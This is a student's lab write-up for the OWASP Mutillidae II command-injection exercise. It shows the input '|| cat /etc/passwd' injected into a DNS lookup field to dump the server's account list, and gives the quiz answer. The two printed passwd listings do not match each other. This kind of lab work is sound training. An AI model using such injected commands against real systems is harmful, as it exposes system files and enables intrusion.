

# LAB-12

## Command Injection

### Mutillidae

#### Procedure:

1.The LAB-12 Question is to find which account exists on the mutillidae Linux server.

Which of these accounts exists on the Mutillidae Linux server?

☐ slack  
☐ ntp  
☐ george  
☐ fred  
☐ cmdline

Submit

2.Check the it is vulnerable to command injection.

Enter IP or hostname

Hostname/IP

Lookup DNS

Results for: pwd

/var/www/mutillidae

Using pwd command print the current working directory

It is vulnerable to command injection

2.we have to find the account so using `|| cat /etc/passwd` to find out the answer.

Enter IP or hostname

Hostname/IP

Lookup DNS

Results for: || cat /etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ntp:x:101:101::/nonexistent:/usr/sbin/nologin
phinius:x:1000:1000::/home/phinius:/bin/sh
```

The answer is ntp.

OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In

Home | Login/Register | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

### Lab 12: Command injection - Extracting User Accounts with Command Injection

Back Help Me!

Hints and Videos

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Submit

Choose the best answer or view Hints and Videos

Previous Lab | Next Lab

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:36:36:Mail List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
\_apt:x:100:100:/:/nonexistent:/usr/sbin/nologin  
phoenix:x:1000:1000:/:/home/phoenix:/bin/sh

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Correct